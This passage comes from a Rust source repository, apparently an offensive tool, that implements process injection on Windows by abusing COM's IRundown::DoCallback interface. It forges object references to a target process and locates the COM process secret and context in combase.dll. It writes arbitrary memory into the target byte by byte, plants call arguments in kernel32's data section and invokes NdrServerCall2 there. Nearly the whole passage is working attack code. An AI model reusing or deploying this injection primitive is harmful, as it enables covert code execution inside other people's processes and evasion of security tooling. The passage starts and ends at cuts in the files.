0x00, 0x00, 0x46], 331 | ); 332 | 333 | objref.std.flags = 0; 334 | objref.std.cPublicRefs = 1; 335 | 336 | objref.std.ipid = ipid; 337 | objref.std.oxid = oxid; 338 | 339 | let stream: IStream = unsafe { SHCreateMemStream(None).unwrap() }; 340 | unsafe { 341 | stream 342 | .Write( 343 | &objref as *const OBJREF as *const c_void, 344 | size_of::() as u32, 345 | None, 346 | ) 347 | .unwrap() 348 | }; 349 | 350 | unsafe { stream.Seek(0, STREAM_SEEK_SET, None).unwrap() }; 351 | 352 | let rundown: IRundown = unsafe { CoUnmarshalInterface(&stream).unwrap() }; 353 | 354 | unsafe { (rundown.vtable().base__.AddRef)(transmute_copy(&rundown)) }; 355 | 356 | let mut callback = XAptCallback::default(); 357 | 358 | callback.guidProcessSecret = secret; 359 | callback.pServerCtx = context as usize; 360 | 361 | let combase_handle = unsafe { GetModuleHandleA(s!("combase.dll\0")).unwrap() }; 362 | 363 | callback.pfnCallback = 364 | unsafe { GetProcAddress(combase_handle, s!("CStdStubBuffer_AddRef\0")).unwrap() as usize }; 365 | 366 | for (index, byte) in data.iter().enumerate() { 367 | callback.pParam = address as usize - 8 + index; 368 | loop { 369 | let res = unsafe { rundown.DoCallback(&callback as *const XAptCallback) }; 370 | if (res.0 & 0xFF) as u8 == *byte { 371 | break; 372 | } 373 | } 374 | } 375 | } 376 | 377 | pub fn write_data_to_address( 378 | data: &[u8], 379 | address: u64, 380 | ipid: u128, 381 | oxid: u64, 382 | secret: u128, 383 | context: u64, 384 | ) { 385 | let mut objref = OBJREF::default(); 386 | 387 | objref.signature = 0x574f454d; 388 | objref.flags = 1; 389 | objref.iid = GUID::from_values( 390 | 0x00000134, 391 | 0x0000, 392 | 0x0000, 393 | [0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 394 | ); 395 | 396 | objref.std.flags = 0; 397 | objref.std.cPublicRefs = 1; 398 | 399 | objref.std.ipid = ipid; 400 | objref.std.oxid = oxid; 401 | 402 | let stream: IStream = unsafe { SHCreateMemStream(None).unwrap() }; 403 | unsafe { 404 | stream 405 | .Write( 406 | &objref as *const OBJREF as *const c_void, 407 | size_of::() as u32, 408 | None, 409 | ) 410 | .unwrap() 411 | }; 412 | 413 | unsafe { stream.Seek(0, STREAM_SEEK_SET, None).unwrap() }; 414 | 415 | let rundown: IRundown = unsafe { CoUnmarshalInterface(&stream).unwrap() }; 416 | 417 | unsafe { (rundown.vtable().base__.AddRef)(transmute_copy(&rundown)) }; 418 | 419 | let mut callback = XAptCallback::default(); 420 | 421 | callback.guidProcessSecret = secret; 422 | callback.pServerCtx = context as usize; 423 | 424 | let combase_handle = unsafe { GetModuleHandleA(s!("combase.dll\0")).unwrap() }; 425 | 426 | callback.pfnCallback = 427 | unsafe { GetProcAddress(combase_handle, s!("CStdStubBuffer_AddRef\0")).unwrap() as usize }; 428 | 429 | for (index, byte) in data.iter().enumerate() { 430 | for _i in 0..*byte { 431 | callback.pParam = address as usize - 8 + index; 432 | 433 | let res = unsafe { rundown.DoCallback(&callback as *const XAptCallback) }; 434 | 435 | if res.is_err() { 436 | println!("DoCallback error {:X?} ", res); 437 | } 438 | } 439 | } 440 | } 441 | 442 | pub fn set_call_args(args: [u64; 14], ipid: u128, oxid: u64, secret: u128, context: u64) { 443 | let kernel32_binary = 444 | fs::read(r"C:\windows\system32\kernel32.dll").expect("Failed reading combase from disk"); 445 | let kernel32_pe = 446 | parse_portable_executable(kernel32_binary.as_slice()).expect("Failed parsing combase.dll"); 447 | 448 | let kernel32_data: SectionHeader = kernel32_pe 449 | .section_table 450 | .into_iter() 451 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 452 | .collect::>() 453 | .first() 454 | .expect("Failed getting .data section for kernel32.dll") 455 | .clone(); 456 | 457 | //let arguments_memory = 458 | // unsafe { GetModuleHandleA(s!("kernel32.dll\0")).unwrap().0 as u64 + 0xB9000 + 0x1348 }; 459 | let arguments_memory = unsafe { 460 | GetModuleHandleA(s!("kernel32.dll\0")).unwrap().0 as u64 461 | + kernel32_data.virtual_address as u64 462 | + ((kernel32_data.virtual_size + 8 - 1 ) & 0xFFF8) as u64 463 | }; 464 | 465 | let mut arguments_data = ARGS_BUFFER::default(); 466 | arguments_data.arg1 = args[0] as usize; 467 | arguments_data.arg2 = args[1] as usize; 468 | arguments_data.arg3 = args[2] as usize; 469 | arguments_data.arg4 = args[3] as usize; 470 | arguments_data.arg5 = args[4] as usize; 471 | arguments_data.arg6 = args[5] as usize; 472 | arguments_data.arg7 = args[6] as usize; 473 | arguments_data.arg8 = args[7] as usize; 474 | arguments_data.arg9 = args[8] as usize; 475 | arguments_data.arg10 = args[9] as usize; 476 | arguments_data.arg11 = args[10] as usize; 477 | arguments_data.arg12 = args[11] as usize; 478 | arguments_data.arg13 = args[12] as usize; 479 | arguments_data.arg14 = args[13] as usize; 480 | 481 | let args_data_buffer: [u8; size_of::()]; 482 | unsafe { args_data_buffer = transmute_copy(&arguments_data) }; 483 | 484 | overwrite_data_to_address( 485 | &args_data_buffer, 486 | arguments_memory, 487 | ipid, 488 | oxid, 489 | secret, 490 | context, 491 | ); 492 | } 493 | 494 | pub fn call_ndr_server_call2(message: u64, ipid: u128, oxid: u64, secret: u128, context: u64) { 495 | let mut objref = OBJREF::default(); 496 | 497 | objref.signature = 0x574f454d; 498 | objref.flags = 1; 499 | objref.iid = GUID::from_values( 500 | 0x00000134, 501 | 0x0000, 502 | 0x0000, 503 | [0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 504 | ); 505 | 506 | objref.std.flags = 0; 507 | objref.std.cPublicRefs = 1; 508 | 509 | objref.std.ipid = ipid; 510 | objref.std.oxid = oxid; 511 | 512 | let stream: IStream = unsafe { SHCreateMemStream(None).unwrap() }; 513 | unsafe { 514 | stream 515 | .Write( 516 | &objref as *const OBJREF as *const c_void, 517 | size_of::() as u32, 518 | None, 519 | ) 520 | .unwrap() 521 | }; 522 | 523 | unsafe { stream.Seek(0, STREAM_SEEK_SET, None).unwrap() }; 524 | 525 | let rundown: IRundown = unsafe { CoUnmarshalInterface(&stream).unwrap() }; 526 | 527 | unsafe { (rundown.vtable().base__.AddRef)(transmute_copy(&rundown)) }; 528 | 529 | let mut callback = XAptCallback::default(); 530 | 531 | callback.guidProcessSecret = secret; 532 | callback.pServerCtx = context as usize; 533 | 534 | let combase_handle = unsafe { GetModuleHandleA(s!("rpcrt4.dll\0")).unwrap() }; 535 | 536 | callback.pfnCallback = 537 | unsafe { GetProcAddress(combase_handle, s!("NdrServerCall2\0")).unwrap() as usize }; 538 | 539 | callback.pParam = message as usize; 540 | 541 | let res = unsafe { rundown.DoCallback(&callback as *const XAptCallback) }; 542 | 543 | println!("Result : {:?}", res) 544 | } 545 | 546 | pub fn increment_and_read(address: u64, ipid: u128, oxid: u64, secret: u128, context: u64) -> u64 { 547 | let mut objref = OBJREF::default(); 548 | 549 | objref.signature = 0x574f454d; 550 | objref.flags = 1; 551 | objref.iid = GUID::from_values( 552 | 0x00000134, 553 | 0x0000, 554 | 0x0000, 555 | [0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 556 | ); 557 | 558 | objref.std.flags = 0; 559 | objref.std.cPublicRefs = 1; 560 | 561 | objref.std.ipid = ipid; 562 | objref.std.oxid = oxid; 563 | 564 | let stream: IStream = unsafe { SHCreateMemStream(None).unwrap() }; 565 | unsafe { 566 | stream 567 | .Write( 568 | &objref as *const OBJREF as *const c_void, 569 | size_of::() as u32, 570 | None, 571 | ) 572 | .unwrap() 573 | }; 574 | 575 | unsafe { stream.Seek(0, STREAM_SEEK_SET, None).unwrap() }; 576 | 577 | let rundown: IRundown = unsafe { CoUnmarshalInterface(&stream).unwrap() }; 578 | 579 | unsafe { (rundown.vtable().base__.AddRef)(transmute_copy(&rundown)) }; 580 | 581 | let mut callback = XAptCallback::default(); 582 | 583 | callback.guidProcessSecret = secret; 584 | callback.pServerCtx = context as usize; 585 | 586 | let combase_handle = unsafe { GetModuleHandleA(s!("combase.dll\0")).unwrap() }; 587 | 588 | callback.pfnCallback = 589 | unsafe { GetProcAddress(combase_handle, s!("CStdStubBuffer_AddRef\0")).unwrap() as usize }; 590 | 591 | callback.pParam = address as usize - 8; 592 | 593 | let res = unsafe { rundown.DoCallback(&callback as *const XAptCallback) }; 594 | 595 | res.0 as u64 596 | } 597 | -------------------------------------------------------------------------------- /src/irundown/locate.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | 3 | use std::ffi::c_void; 4 | use std::fs; 5 | use std::io::Cursor; 6 | use std::mem::{offset_of, size_of}; 7 | use std::slice::from_raw_parts; 8 | 9 | use endian_codec::DecodeLE; 10 | use pdb::FallibleIterator; 11 | use symbolic::debuginfo::pe::PeObject; 12 | use windows::core::*; 13 | use windows::core::interface; 14 | use windows::Win32::System::Com::{ 15 | CoGetObjectContext, MSHCTX, MSHCTX_INPROC, 16 | STREAM_SEEK_SET, 17 | }; 18 | use windows::Win32::System::LibraryLoader::GetModuleHandleA; 19 | use windows::Win32::System::ProcessStatus::{GetModuleInformation, MODULEINFO}; 20 | use windows::Win32::System::Threading::GetCurrentProcess; 21 | use windows::Win32::UI::Shell::SHCreateMemStream; 22 | 23 | use crate::irundown::structs::{ 24 | tagCONTEXTHEADER, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER, 25 | }; 26 | 27 | use super::structs::SectionInfos; 28 | 29 | #[interface("000001c8-0000-0000-C000-000000000046")] 30 | unsafe trait IMarshalEnvoy: IUnknown { 31 | fn GetEnvoyUnmarshalClass(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 32 | fn GetEnvoySizeMax(&self, dwDestContext: u32, pcb: *mut u32) -> HRESULT; 33 | fn MarshalEnvoy(&self, pstm: *mut c_void, dwDestContext: MSHCTX) -> HRESULT; 34 | } 35 | 36 | 37 | pub fn locate_secret_and_context() -> Option<(usize, usize)>{ 38 | 39 | unsafe { 40 | let envoy = CoGetObjectContext::().unwrap(); 41 | 42 | let stream = SHCreateMemStream(None).unwrap(); 43 | 44 | 45 | let result = envoy.MarshalEnvoy(stream.as_raw(), MSHCTX_INPROC); 46 | if result.is_err() { 47 | println!("Failed MarshalEnvoy"); 48 | } 49 | 50 | stream.Seek(0, STREAM_SEEK_SET, None).unwrap(); 51 | 52 | let mut header = tagCONTEXTHEADER::default(); 53 | let mut cb_buffer: u32 = 0; 54 | stream 55 | .Read( 56 | &mut header as *mut tagCONTEXTHEADER as *mut c_void, 57 | size_of::() as u32, 58 | Some(&mut cb_buffer as *mut u32), 59 | ) 60 | .unwrap(); 61 | 62 | let context = header.ByRefHeader.pServerCtx; 63 | let secret = header.ByRefHeader.guidProcessSecret; 64 | 65 | let mut secret_offset = locate_value_in_combase_data_section(secret); 66 | let mut context_offset = locate_value_in_combase_data_section(context); 67 | 68 | if secret_offset.is_some() && context_offset.is_some() { 69 | println!("[+] Found COM secret and context offsets using IMarshalEnvoy"); 70 | return Some((secret_offset.unwrap(), context_offset.unwrap())); 71 | } 72 | 73 | println!("[-] Failed locating COM secret/context using IMarshalEnvoy, falling back to symbols"); 74 | 75 | let combase_data = fs::read(r"C:\Windows\System32\combase.dll").expect("Failed reading combase.dll"); 76 | 77 | let combase_object = PeObject::parse(&combase_data).expect("Failed parsing combase.dll"); 78 | 79 | let pdb_id = combase_object.debug_id().to_string().replace("-", ""); 80 | 81 | let mut pdb_data: Vec = Vec::new(); 82 | 83 | 84 | println!("[+] Downloading symbols ..."); 85 | ureq::get( 86 | format!("https://msdl.microsoft.com/download/symbols/combase.pdb/{pdb_id}/combase.pdb") 87 | .as_str(), 88 | ) 89 | .call() 90 | .expect("Failed downloading pdb for combase") 91 | .into_reader() 92 | .read_to_end(&mut pdb_data) 93 | .unwrap(); 94 | 95 | println!("[+] Downloaded PDB for combase.dll!"); 96 | let mut pdb_parser = pdb::PDB::open(Cursor::new(pdb_data)).expect("Failed parsing combase.PDB"); 97 | 98 | let symbols_table = pdb_parser 99 | .global_symbols() 100 | .expect("Failed parsing combase.pdb"); 101 | let addresses_table = pdb_parser.address_map().expect("Failed parsing combase.pdb"); 102 | 103 | let combase_dll = GetModuleHandleA(s!("combase.dll")).unwrap(); 104 | 105 | let mut symbols = symbols_table.iter(); 106 | while let Some(symbol) = symbols.next().expect("Failed parsing pdb") { 107 | match symbol.parse() { 108 | Ok(pdb::SymbolData::Public(data)) => { 109 | 110 | let rva = data.offset.to_rva(&addresses_table).unwrap_or_default(); 111 | if data.name.to_string().contains("?s_guidOle32Secret@CProcessSecret@@0U_GUID@@A") { 112 | println!("[+] Found COM secret offset"); 113 | 114 | secret_offset = Some(combase_dll.0 as usize + rva.0 as usize); 115 | 116 | if secret_offset.is_some() && context_offset.is_some() { 117 | return Some((secret_offset.unwrap(), context_offset.unwrap())); 118 | } 119 | } 120 | 121 | if data.name.to_string().contains("g_pMTAEmptyCtx") { 122 | println!("[+] Found COM context offset"); 123 | 124 | context_offset = Some(combase_dll.0 as usize + rva.0 as usize); 125 | 126 | if secret_offset.is_some() && context_offset.is_some() { 127 | return Some((secret_offset.unwrap(), context_offset.unwrap())); 128 | } 129 | } 130 | 131 | } 132 | _ => {} 133 | } 134 | } 135 | 136 | 137 | } 138 | 139 | None 140 | } 141 | 142 | fn locate_value_in_combase_data_section(value: T) -> Option 143 | where 144 | T: std::cmp::PartialEq + std::fmt::UpperHex, 145 | { 146 | if let Some(data) = get_com_data_section() { 147 | let (prefix, chunks, _suffix) = unsafe { data.align_to::() }; 148 | 149 | let index = chunks.iter().position(|item| *item == value)?; 150 | 151 | let com_data_section_infos = get_com_data_section_info()?; 152 | 153 | return Some(com_data_section_infos.base+(prefix.len() + index * size_of::())); 154 | } 155 | None 156 | } 157 | 158 | pub fn get_com_data_section_info() -> Option { 159 | let combase_dll = unsafe { GetModuleHandleA(s!("combase.dll")).unwrap() }; 160 | 161 | let mut combase_module_infos = MODULEINFO::default(); 162 | unsafe { 163 | GetModuleInformation( 164 | GetCurrentProcess(), 165 | combase_dll, 166 | &mut combase_module_infos, 167 | size_of::() as u32, 168 | ) 169 | .ok()? 170 | }; 171 | 172 | let combase_data = unsafe { 173 | from_raw_parts( 174 | combase_dll.0 as *const u8, 175 | combase_module_infos.SizeOfImage as usize, 176 | ) 177 | }; 178 | 179 | let dos_header = 180 | IMAGE_DOS_HEADER::decode_from_le_bytes(&combase_data[..size_of::()]); 181 | 182 | let nt_header = IMAGE_NT_HEADERS64::decode_from_le_bytes( 183 | &combase_data[dos_header.e_lfanew as usize 184 | ..size_of::() + dos_header.e_lfanew as usize], 185 | ); 186 | 187 | let section_offset = dos_header.e_lfanew as usize 188 | + offset_of!(IMAGE_NT_HEADERS64, OptionalHeader) 189 | + nt_header.FileHeader.SizeOfOptionalHeader as usize; 190 | 191 | let mut data_section = None; 192 | 193 | for section_index in 0..nt_header.FileHeader.NumberOfSections as usize { 194 | let current_section = IMAGE_SECTION_HEADER::decode_from_le_bytes( 195 | &combase_data[section_offset + size_of::() * section_index 196 | ..section_offset + size_of::() * (section_index + 1)], 197 | ); 198 | 199 | if String::from_utf8_lossy(current_section.Name.as_slice()).starts_with(".data\x00") { 200 | data_section = Some(current_section); 201 | break; 202 | } 203 | } 204 | 205 | if let Some(section) = data_section { 206 | let section_infos = SectionInfos { 207 | base: (combase_dll.0 + section.VirtualAddress as isize) as usize, 208 | size: section.Misc.VirtualSize as usize, 209 | }; 210 | return Some(section_infos); 211 | } 212 | 213 | None 214 | } 215 | 216 | fn get_com_data_section() -> Option> { 217 | let com_data_section_infos = get_com_data_section_info()?; 218 | 219 | let combase_data = unsafe { 220 | from_raw_parts( 221 | com_data_section_infos.base as *const u8, 222 | com_data_section_infos.size, 223 | ) 224 | }; 225 | 226 | Some(combase_data.to_vec()) 227 | } 228 | 229 | 230 | -------------------------------------------------------------------------------- /src/irundown/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod locate; 2 | pub mod structs; 3 | pub mod rpcss; 4 | pub mod inject; -------------------------------------------------------------------------------- /src/irundown/rpcss.rs: -------------------------------------------------------------------------------- 1 | use crate::kdmp::parser::VirtualAddress; 2 | use endian_codec::{DecodeLE, PackedSize}; 3 | use pdb::FallibleIterator; 4 | use std::{fs, io::Cursor}; 5 | use symbolic::debuginfo::pe::PeObject; 6 | use windows::{ 7 | core::s, 8 | Win32::{Foundation::FreeLibrary, System::LibraryLoader::LoadLibraryA}, 9 | }; 10 | 11 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq, Default)] 12 | #[allow(non_snake_case, non_camel_case_types)] 13 | #[repr(C)] 14 | pub struct CServerOID { 15 | padding: [u8; 0x18], 16 | pub oid: u64, 17 | pub cserveroxid: u64, 18 | } 19 | 20 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq)] 21 | #[allow(non_snake_case, non_camel_case_types)] 22 | #[repr(C)] 23 | pub struct CServerOXID { 24 | pub padding: [u8; 0x18], 25 | pub oxid: u64, 26 | pub cprocess: u64, 27 | pub padding2: [u8; 0x38], 28 | pub ipid: u128, 29 | } 30 | 31 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq)] 32 | #[allow(non_snake_case, non_camel_case_types)] 33 | #[repr(C)] 34 | pub struct CProcess { 35 | pub padding: [u8; 0x58], 36 | pub pid: u32, 37 | } 38 | 39 | pub fn locate_rpcss_oxid_list_head() -> Option { 40 | let rpcss_base = unsafe { LoadLibraryA(s!("rpcss.dll\0")).ok()? }; 41 | 42 | // FIXME 43 | let mut gp_server_oxid_table_offset = 0; 44 | 45 | let rpcss_data = fs::read(r"C:\Windows\System32\rpcss.dll").expect("Failed reading rpcss.dll"); 46 | 47 | let rpcss_object = PeObject::parse(&rpcss_data).expect("Failed parsing rpcss.dll"); 48 | 49 | let pdb_id = rpcss_object.debug_id().to_string().replace("-", ""); 50 | 51 | let mut pdb_data: Vec = Vec::new(); 52 | 53 | ureq::get( 54 | format!("https://msdl.microsoft.com/download/symbols/rpcss.pdb/{pdb_id}/rpcss.pdb") 55 | .as_str(), 56 | ) 57 | .call() 58 | .expect("Failed downloading pdb for rpcss") 59 | .into_reader() 60 | .read_to_end(&mut pdb_data) 61 | .unwrap(); 62 | 63 | let mut pdb_parser = pdb::PDB::open(Cursor::new(pdb_data)).expect("Failed parsing rpcss .PDB"); 64 | 65 | let symbols_table = pdb_parser 66 | .global_symbols() 67 | .expect("Failed parsing rpcss.pdb"); 68 | let addresses_table = pdb_parser.address_map().expect("Failed parsing rpcss.pdb"); 69 | 70 | let mut symbols = symbols_table.iter(); 71 | while let Some(symbol) = symbols.next().expect("Failed parsing pdb") { 72 | match symbol.parse() { 73 | Ok(pdb::SymbolData::Public(data)) => { 74 | 75 | 76 | // we found the location of a function! 77 | let rva = data.offset.to_rva(&addresses_table).unwrap_or_default(); 78 | if data.name.to_string().contains("gpServerOxidTable") { 79 | gp_server_oxid_table_offset = rva.0 as u64; 80 | break; 81 | } 82 | 83 | } 84 | _ => {} 85 | } 86 | } 87 | 88 | let gp_server_oid_list = 89 | VirtualAddress::from(rpcss_base.0 as u64 + gp_server_oxid_table_offset); 90 | 91 | unsafe { FreeLibrary(rpcss_base).ok()? }; 92 | 93 | Some(gp_server_oid_list) 94 | } 95 | -------------------------------------------------------------------------------- /src/irundown/structs.rs: -------------------------------------------------------------------------------- 1 | use endian_codec::{DecodeLE, EncodeLE, PackedSize}; 2 | use windows::core::GUID; 3 | 4 | #[derive(Debug)] 5 | pub struct SectionInfos { 6 | pub base: usize, 7 | pub size: usize, 8 | } 9 | 10 | #[derive(Debug, PackedSize, DecodeLE, Clone, Default, EncodeLE)] 11 | #[allow(non_snake_case, non_camel_case_types)] 12 | #[repr(C)] 13 | pub struct ARGS_BUFFER { 14 | pub arg1: usize, 15 | pub arg2: usize, 16 | pub arg3: usize, 17 | pub arg4: usize, 18 | pub arg5: usize, 19 | pub arg6: usize, 20 | pub arg7: usize, 21 | pub arg8: usize, 22 | pub arg9: usize, 23 | pub arg10: usize, 24 | pub arg11: usize, 25 | pub arg12: usize, 26 | pub arg13: usize, 27 | pub arg14: usize, 28 | } 29 | 30 | #[derive(Debug, PackedSize, DecodeLE, Clone, Default, EncodeLE)] 31 | #[allow(non_snake_case, non_camel_case_types)] 32 | #[repr(C)] 33 | pub struct RPC_CLIENT_INTERFACE { 34 | pub Length: u32, 35 | pub InterfaceId: RPC_SYNTAX_IDENTIFIER, 36 | pub TransferSyntax: RPC_SYNTAX_IDENTIFIER, 37 | pub DispatchTable: usize, 38 | pub RpcProtseqEndpointCount: u32, 39 | pub RpcProtseqEndpoint: usize, 40 | pub Reserved: usize, 41 | pub InterpreterInfo: usize, 42 | pub Flags: u32, 43 | } 44 | 45 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 46 | #[allow(non_snake_case, non_camel_case_types)] 47 | #[repr(C)] 48 | pub struct RPC_DISPATCH_TABLE { 49 | pub DispatchTableCount: u32, 50 | pub DispatchTable: usize, 51 | pub Reserved: isize, 52 | } 53 | 54 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 55 | #[allow(non_snake_case, non_camel_case_types)] 56 | #[repr(C)] 57 | pub struct MIDL_SERVER_INFO { 58 | pub pStubDesc: usize, 59 | pub DispatchTable: usize, 60 | pub ProcString: usize, 61 | pub FmtStringOffset: usize, 62 | pub ThunkTable: usize, 63 | pub pTransferSyntax: usize, 64 | pub nCount: usize, 65 | pub pSyntaxInfo: usize, 66 | } 67 | 68 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 69 | #[allow(non_snake_case, non_camel_case_types)] 70 | #[repr(C)] 71 | pub struct MIDL_STUB_DESC { 72 | 73 | pub RpcInterfaceInformation: usize, 74 | pub pfnAllocate: usize, 75 | pub pfnFree: usize, 76 | pub IMPLICIT_HANDLE_INFO: usize, 77 | pub apfnNdrRundownRoutines: usize, 78 | pub aGenericBindingRoutinePairs: usize, 79 | pub apfnExprEval: usize, 80 | pub aXmitQuintuple: usize, 81 | pub pFormatTypes: usize, 82 | pub fCheckBounds: i32, 83 | pub Version: u32, 84 | pub pMallocFreeStruct: usize, 85 | pub MIDLVersion: i32, 86 | pub CommFaultOffsets: usize, 87 | pub aUserMarshalQuadruple: usize, 88 | pub NotifyRoutineTable: usize, 89 | pub mFlags: usize, 90 | pub CsRoutineTables: usize, 91 | pub ProxyServerInfo: usize, 92 | pub pExprInfo: usize, 93 | } 94 | 95 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 96 | #[allow(non_snake_case, non_camel_case_types)] 97 | #[repr(C)] 98 | pub struct RPC_MESSAGE { 99 | pub Handle: usize, 100 | pub DataRepresentation: u32, 101 | pub Buffer: usize, 102 | pub BufferLength: u32, 103 | pub ProcNum: u32, 104 | pub TransferSyntax: usize, 105 | pub RpcInterfaceInformation: usize, 106 | pub ReservedForRuntime: usize, 107 | pub ManagerEpv: usize, 108 | pub ImportContext: usize, 109 | pub RpcFlags: u32, 110 | } 111 | 112 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, PartialEq, Eq, Hash, EncodeLE)] 113 | #[allow(non_snake_case, non_camel_case_types)] 114 | #[repr(C)] 115 | pub struct _GUID { 116 | pub data1: u32, 117 | pub data2: u16, 118 | pub data3: u16, 119 | pub data4: [u8; 8], 120 | } 121 | 122 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 123 | #[allow(non_snake_case, non_camel_case_types)] 124 | #[repr(C)] 125 | pub struct RPC_SYNTAX_IDENTIFIER { 126 | pub SyntaxGUID: _GUID, 127 | pub SyntaxVersion: RPC_VERSION, 128 | } 129 | 130 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default, EncodeLE)] 131 | #[allow(non_snake_case, non_camel_case_types)] 132 | #[repr(C)] 133 | pub struct RPC_VERSION { 134 | pub MajorVersion: u16, 135 | pub MinorVersion: u16, 136 | } 137 | 138 | 139 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default)] 140 | #[allow(non_snake_case, non_camel_case_types)] 141 | #[repr(C, packed(8))] 142 | pub struct STDOBJREF { 143 | pub flags: u32, 144 | pub cPublicRefs: u32, 145 | pub oxid: u64, 146 | pub oid: u64, 147 | pub ipid: u128, 148 | } 149 | 150 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, Default)] 151 | #[allow(non_snake_case, non_camel_case_types)] 152 | #[repr(C)] 153 | pub struct DUALSTRINGARRAY { 154 | pub wNumEntries: u16, 155 | pub wSecurityOffset: u16, 156 | pub aStringArray: u16, 157 | } 158 | 159 | #[derive(Debug, Clone, Copy, Default)] 160 | #[allow(non_snake_case, non_camel_case_types)] 161 | #[repr(C)] 162 | pub struct OBJREF { 163 | pub signature: u32, 164 | pub flags: u32, 165 | pub iid: GUID, 166 | pub std: STDOBJREF, 167 | pub saResAddr: DUALSTRINGARRAY, 168 | } 169 | 170 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq)] 171 | #[allow(non_snake_case, non_camel_case_types)] 172 | #[repr(C)] 173 | pub struct tagIPIDEntry { 174 | pub pNextIPID: usize, // next IPIDEntry for same object 175 | pub dwFlags: u32, // flags (see IPIDFLAGS) 176 | cStrongRefs: u32, // strong reference count 177 | cWeakRefs: u32, // weak reference count 178 | cPrivateRefs: u32, // private reference count 179 | pv: usize, // real interface pointer 180 | pStub: usize, // proxy or stub pointer 181 | pub pOXIDEntry: usize, // ptr to OXIDEntry in OXID Table 182 | pub ipid: u128, // interface pointer identifier 183 | iid: u128, // interface iid 184 | pChnl: usize, // channel pointer 185 | pIRCEntry: usize, // reference cache line 186 | pInterfaceName: usize, 187 | pOIDFLink: usize, // In use OID list 188 | pOIDBLink: usize, 189 | } 190 | 191 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq)] 192 | #[allow(non_snake_case, non_camel_case_types)] 193 | #[repr(C)] 194 | pub struct OXIDEntry { 195 | flink: usize, 196 | blink: usize, 197 | m_isInList: u64, 198 | info: [u8; 0x98], 199 | mid: u64, 200 | ipid_rundown: u128, 201 | pub oxid: u64, 202 | oid: u64, 203 | } 204 | 205 | /* 206 | [+0x000] _flink : 0x1285663b220 [Type: CListElement *] 207 | [+0x008] _blink : 0x0 [Type: CListElement *] 208 | [+0x010] m_isInList : true [Type: bool] 209 | [+0x018] _info [Type: wil::unique_struct<__MIDL_ILocalObjectExporter_0007,void (__cdecl*)(__MIDL_ILocalObjectExporter_0007 *),&ClearOxidInfo,std::nullptr_t,0>] 210 | [+0x0b0] _mid : 0x9a72972955744076 [Type: unsigned __int64] 211 | [+0x0b8] _ipidRundown : {00008800-08B8-0000-2FDA-F75294C4814D} [Type: _GUID] 212 | [+0x0c8] _moxid : {B32D7849-1503-6431-7640-74552997729A} [Type: _GUID] 213 | [+0x0d8] _registered : true [Type: std::atomic] 214 | [+0x0d9] _stopped : false [Type: std::atomic] 215 | [+0x0da] _pendingRelease : false [Type: std::atomic] 216 | [+0x0db] _remotingInitialized : true [Type: std::atomic] 217 | [+0x0e0] _hServerSTA : 0x0 [Type: HWND__ *] 218 | [+0x0e8] _pParentApt : 0x1285660d4e0 [Type: CComApartment *] 219 | [+0x0f0] _pSharedDefaultHandle : 0x0 [Type: CChannelHandle *] 220 | [+0x0f8] _pAuthId : 0x0 [Type: void *] 221 | [+0x100] _dwAuthnSvc : 0xffffffff [Type: unsigned long] 222 | [+0x108] _pMIDEntry : 0x128566c3830 [Type: MIDEntry *] 223 | [+0x110] _pRUSTA : 0x0 [Type: IRemUnknown *] 224 | [+0x118] _cRefs : 0x69c [Type: unsigned long] 225 | [+0x120] _hComplete : 0x1a0 [Type: void *] 226 | [+0x128] _cCalls : 0 [Type: long] 227 | [+0x12c] _cResolverRef : 0 [Type: long] 228 | [+0x130] _dwExpiredTime : 0x0 [Type: unsigned long] 229 | [+0x138] _pAppContainerServerSecurityDescriptor : 0x0 [Type: void *] 230 | [+0x140] _ulMarshaledTargetInfoLength : 0x0 [Type: unsigned long] 231 | [+0x148] _marshaledTargetInfo : empty [Type: std::unique_ptr] 232 | [=0x7ff8cdc888b0] _palloc [Type: CPageAllocator] 233 | [+0x150] _clientDependencyEvaluated : false [Type: std::atomic] 234 | [+0x158] _pPrimaryOxid : {...} [Type: std::atomic] 235 | */ 236 | 237 | #[derive(Debug, PackedSize, DecodeLE, Clone, Copy, PartialEq)] 238 | #[allow(non_snake_case, non_camel_case_types)] 239 | #[repr(C)] 240 | struct tagPageEntry { 241 | pNext: usize, 242 | dwFlag: u32, 243 | } 244 | 245 | #[derive(Default)] 246 | #[repr(C)] 247 | #[allow(non_camel_case_types, non_snake_case)] 248 | pub struct tagCTXVERSION { 249 | ThisVerion: u16, 250 | MinVersion: u16, 251 | } 252 | 253 | #[derive(Default)] 254 | #[repr(C, packed)] 255 | #[allow(non_camel_case_types, non_snake_case)] 256 | pub struct tagCTXCOMMONHDR { 257 | ContextId: u128, 258 | Flags: u32, 259 | Reserved: u32, 260 | dwNumExtents: u32, 261 | cbExtents: u32, 262 | MshFlags: u32, 263 | } 264 | 265 | #[derive(Default)] 266 | #[repr(C, packed)] 267 | #[allow(non_camel_case_types, non_snake_case)] 268 | pub struct tagBYREFHDR { 269 | Reserved: u32, 270 | ProcessId: u32, 271 | pub guidProcessSecret: u128, 272 | pub pServerCtx: usize, // CObjectContext 273 | } 274 | 275 | #[derive(Default)] 276 | #[repr(C)] 277 | 